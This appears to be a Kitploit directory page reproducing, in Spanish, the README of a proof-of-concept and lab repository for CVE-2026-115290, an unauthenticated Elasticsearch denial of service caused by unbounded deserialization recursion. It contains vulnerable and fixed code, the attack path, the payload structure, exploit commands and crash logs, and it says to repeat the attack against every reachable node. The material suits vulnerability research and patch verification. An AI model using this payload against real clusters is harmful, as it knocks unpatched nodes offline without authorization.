Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-115290 — PoC y laboratorio A/B contenedorizado para CVE-2026-115290, un DoS no autenticado del servidor de clúster remoto de Elasticsearch mediante recursión de deserialización sin límites (CWE-674). | Kitploit
Herramientas/GitHubGitHub/googlesky/cve-2026-115290
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPapers e InvestigaciónLabs y Práctica
GitHubgooglesky/cve-2026-115290

CVE-2026-115290

PoC y laboratorio A/B contenedorizado para CVE-2026-115290, un DoS no autenticado del servidor de clúster remoto de Elasticsearch mediante recursión de deserialización sin límites (CWE-674).

Ver Repositorio
hace 11h 19mAún no revisado
Compartir

CVE-2026-115290: DoS no autenticado en Elasticsearch a través de la interfaz del servidor de clúster remoto

Causa raíz: Recursión no controlada (CWE-674). El nodo deserializa los bytes proporcionados por el atacante antes de comprobar la clave de API: una única solicitud TCP no autenticada al puerto del servidor de clúster remoto es suficiente para desbordar la pila de un worker con un StackOverflowError y tumbar el nodo. Repetir contra cada nodo accesible.

CVECVE-2026-115290
AvisoElastic ESA-2026-201 (2026-11-03)
GravedadCVSS 3.1 7.5 Alta, vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
AfectadosElasticsearch 8.10.0 a 8.19.23, 9.0.0 a 9.4.8, 9.5.0 a 9.5.5, con remote_cluster_server.enabled: true
Corregido8.19.24 / 9.4.9 / 9.5.6
Commit de corrección0b1b229c8c ("Verify API key before decoding cross-cluster info", elastic/elasticsearch #161492)
Requisitos previosLicencia Enterprise / de prueba (característica advanced-remote-cluster-security), interfaz habilitada

1. Causa raíz

CrossClusterAccessAuthenticationService.authenticate() (≤ 8.19.23) decodificaba la cabecera de información del sujeto controlada por el remitente lo antes posible para que los eventos de auditoría pudieran incluir el id de la clave de API:

// 8.19.23, vulnerable build
public static CrossClusterAccessHeaders readFromContext(final ThreadContext ctx) {
    final String credentialsHeader = ctx.getHeader(CROSS_CLUSTER_ACCESS_CREDENTIALS_HEADER_KEY);
    parseCredentialsHeader(credentialsHeader).close();                       // (1) format-check only
    return new CrossClusterAccessHeaders(credentialsHeader,
        CrossClusterAccessSubjectInfo.readFromContext(ctx));                // (2) DECODES attacker bytes, pre-auth
}

La decodificación es una deserialización pura sin límites de profundidad:

public static CrossClusterAccessSubjectInfo decode(final String header) {
    byte[] bytes = Base64.getDecoder().decode(header);
    StreamInput in = StreamInput.wrap(bytes);
    TransportVersion version = TransportVersion.readVersion(in);   // attacker-chosen
    in.setTransportVersion(version);
    Authentication authentication = new Authentication(in);        // -> readMetadata -> readGenericValue
    ...
}

StreamInput.readGenericValue() recurre sin ningún límite de profundidad en mapas anidados (etiqueta de tipo 10). Alrededor de 200k mapas anidados de una sola entrada son suficientes para desbordar la pila del hilo de transporte dentro de decode().

Corregido (8.19.24): la información del sujeto permanece codificada hasta que la clave de API se autentica, por lo que las solicitudes no autenticadas nunca llegan al deserializador:

// 8.19.24, CrossClusterAccessRequestHeaders keeps the header as a String
final String subjectInfoHeader = requiredHeader(ctx, CROSS_CLUSTER_ACCESS_SUBJECT_INFO_HEADER_KEY);
...
// only after successful API-key authentication:
final CrossClusterAccessSubjectInfo subjectInfo = requestHeaders.decodeSubjectInfo().cleanAndValidate();

2. Ruta de ataque

attacker ──TCP :9443──> remote cluster server port (profile _remote_cluster)
  ES transport frame: action "indices:data/read/search" (any registered action)
  ThreadContext headers:
    _cross_cluster_access_credentials  = "ApiKey <base64(id:key)>"   (format-valid, key unknown)
    _cross_cluster_access_subject_info = base64(vInt TransportVersion + Authentication{ metadata =
        { "poc_nested": {a: {a: {a: ... 200k deep ... }}} } } + roleDescriptorsBytesList[])

InboundHandler.handleRequest -> RequestHandlerRegistry (action exists) ->
ProfileSecuredRequestHandler.messageReceived (profile _remote_cluster) ->
CrossClusterAccessServerTransportFilter.authenticate -> license check -> header presence check ->
CrossClusterAccessAuthenticationService.authenticate -> CrossClusterAccessHeaders.readFromContext ->
CrossClusterAccessSubjectInfo.decode -> StreamInput.readGenericValue (unbounded) -> StackOverflowError
  -> netty exceptionCaught -> ExceptionsHelper.maybeDieOnAnotherThread ->
  ElasticsearchUncaughtExceptionHandler: "fatal error in thread [...], exiting" -> Runtime.halt(126)

Cosas que facilitan el ataque:

  • el handshake no es necesario, la compatibilidad de versión es una comprobación estática (TransportVersion.isCompatible);
  • los bytes de subject-info llevan su propia TransportVersion (leída con readVInt), por lo que las ramas de deserialización pueden dirigirse de forma independiente a la versión de la cabecera del mensaje;
  • la cabecera de credenciales solo tiene que parsearse (ApiKey <base64(id:key)>), la clave en sí nunca tiene que autenticarse porque el fallo ocurre antes de que eso se ejecute;
  • etiquetas de tipo de readGenericValue: 0 string, 10 map (recursivo), 0xFF null; las cadenas son vInt charCount + utf8; los enteros son vInts LEB128 de 7 bits.

3. Estructura del repositorio

poc/poc.py                 PoC client (stdlib-only): check | exploit | dump
lab/run-lab.sh             podman lab: vulnerable 8.19.23 (:9200/:9443) + fixed 8.19.24 (:9201/:9444)
lab/es-*/elasticsearch.yml node configs (RCS enabled, TLS off, trial license, security on)
lab/stop-lab.sh
evidence/                  captured logs + PoC transcripts (not published)

4. Reproducir (100% contenedorizado, podman)

podman pull docker.elastic.co/elasticsearch/elasticsearch:8.19.23 \
            docker.elastic.co/elasticsearch/elasticsearch:8.19.24
./lab/run-lab.sh            # both containers capped at --cpus 2 --memory 4g

# 1) unauthenticated handshake probe on the vulnerable node's RCS port
python3 poc/poc.py check   --host 127.0.0.1 --port 9443

# 2) kill the vulnerable node
python3 poc/poc.py exploit --host 127.0.0.1 --port 9443
#   connection drops, node exits with "fatal error in thread [...], exiting", halt(126)

# 3) A/B: identical payload against the fixed build, node survives and rejects the auth
python3 poc/poc.py exploit --host 127.0.0.1 --port 9444

./lab/stop-lab.sh

Despliegues TLS: añada --tls a cualquier modo.

Reproducción a nivel de unidad (opcional): la carga útil por sí sola puede alimentarse al decodificador real:

CrossClusterAccessSubjectInfo.decode(header) -> StackOverflowError   # verified against 8.19.23 jars

5. Evidencia (capturada en evidence/, reproducida en este laboratorio)

Nodo vulnerable (8.19.23, es-vuln). Una solicitud exploit, sin autenticación:

[*] server closed the connection after 0.40s (closed=True, got 0 bytes)
[+] NODE TERMINATED: remote cluster server port 9443 refuses connections -- unauthenticated DoS reproduced

podman ps -a:  es-vuln  Exited (126)          # Runtime.halt(126) == uncaught StackOverflowError

elasticsearch.log (ver evidence/es-vuln-fatal.log):

ERROR "fatal error java.lang.StackOverflowError"  ... Netty4MessageInboundHandler.exceptionCaught ->
      ExceptionsHelper.maybeDieOnAnotherThread -> elasticsearch-error-rethrower
ERROR "fatal error in thread [elasticsearch-error-rethrower], exiting"
java.lang.StackOverflowError
  at StreamInput.readGenericValue(StreamInput.java:859)
  at StreamInput.readMap(StreamInput.java:751)
  at StreamInput.readMap(StreamInput.java:736)
  at StreamInput.readGenericValue(StreamInput.java:872)   <- recursion loop, ~4 frames / nesting level
  ...

Nodo fijo (8.19.24, es-fixed), carga útil idéntica:

[*] response frame: status=0x03 (error response)
[*] response text: "unable to find apikey with id cve-2026-115290"
      at CrossClusterAccessAuthenticationService.lambda$tryAuthenticate$3   <- auth ran, decode never did
[!] node is STILL ALIVE after the payload
podman ps -a:  es-fixed  Up (serving)

Consideraciones prácticas incluidas en las herramientas

Descargar herramienta

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    936
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Kit de herramientas de red team del lado del navegador con 102 herramientas offline para reconocimiento, generación de payloads, ataques de credenciales, criptografía, codificación y elaboración de informes de compromiso.

    353
  • 4

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    348
  • 5

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingiere informes de Shadowserver en MongoDB y los reproduce como mapas interactivos, análisis, hallazgos, avisos y paneles ejecutivos.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    El sistema de acción para la ciberseguridad nativa de IA—donde la intención se convierte en ejecución gobernada, la evidencia se convierte en memoria operativa y cada operación mejora la siguiente.

    288

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →